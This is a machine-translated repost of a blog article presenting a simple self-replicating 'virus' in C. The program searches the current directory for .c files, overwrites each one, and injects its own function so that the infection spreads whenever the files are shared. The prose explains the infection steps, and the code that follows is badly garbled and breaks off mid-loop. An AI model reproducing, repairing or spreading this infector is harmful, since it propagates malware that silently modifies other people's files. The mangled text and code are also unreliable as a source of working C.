Example of viral programs with C - please don't mess, use!

xiaoxiao2021-03-06  119

Simple virus programs first declare: This program is an example of me. In order to make a understanding, if you take it, I will not be responsible! I hope everyone should learn from learning! We should be deeply sick for viruses, but as a pure study, many people are still very interested, I used to have some devastating viruses. I wanted to share with you, but considering that some small people will show it. Some behaviors that harm others, so I decided to use this simple and unaracted C language pseudo virus to explain the problem, and again declare that all this is for programming research! ! ! Characteristics of viruses: The biggest feature of viruses is self-replication. There are many kinds of sorting from viruses. Here we will introduce the most popular add-on viruses. It has been rewritten in normal documents and increases its self-replication. . From the perspective of the program, there are two things we have to do: 1. Let the program can copy themselves to other programs without affecting other programs themselves, making it have the ability to continue copying. 2. A certain episode effect is produced under certain conditions.

In fact, the first thing can actually look into a copy of the file, put all the function functions of the viral source files in the last infected file, while calling this function in the infected file to show the implementation process of the C language: 1 , The main program calls the virus function function 2, the virus function function reads the lookup of all C files in the same directory; 3, find one (infected C file), open it, and read this file all of the array variables; 4, re- Create a single file (infected C file) 5, the array variable writes back this infected C file, and writes the header file, virus function function calls required by the viral source file; 6. Open the viral source file, and the virus The function function is all written to the last infected C file; such a simple C language cake virus Virus.c has completed the content change after the running program is saved to after_virus.c, if we will use a file with a file The disk is copied to other machines or email to others. As a result, they run infected with all C files under the directory of the 1.c file for the second thing ------- "Effectiveness", here only use printf statements WARNING, of course, you can write a TSR stationery function. In fact, this procedure can barely call the virus. It is not a real virus. It is better to say so much. The code is as follows: #include #include

viid main (void) {Virus ();} int virus () {struct ffblk ffblk; file * in, * out, * read; char * virus = "virus.c"; char buf [50] [80 ]; char * p; char * end = "return"; char * bracket = "}"; char * main = "main"; char * incdude [2] = {"stdio.h", "dir.h"} CHAR * INT_VIRUS = "int virus ()"; char * buffer; int DONE, I, J = 0, FLAG = 0; Printf ("/ Ni Have a virus. Writen by pubin / n"); DONE = FINDFIRST "* .c", & ffblk, 0); while (! done) {i = 0; IF ((in = fopen (ffblk.ff_name, "r")) == null) {goto next;} do {ix I> = 50) {fclose (in); goto next;} p = fgets (buf [i], 80, in); i ;} while (p! = Null); fclose (in); out = fopen (ffblk.ff_name, "w t"); fputs ("# include / n", OUT; FPUTS ("# include / n", out); do {IF (strstr (BUF [J], Main)! = null) {for (; J
转载请注明原文地址:https://www.9cbs.com/read-99352.html

New Post(0)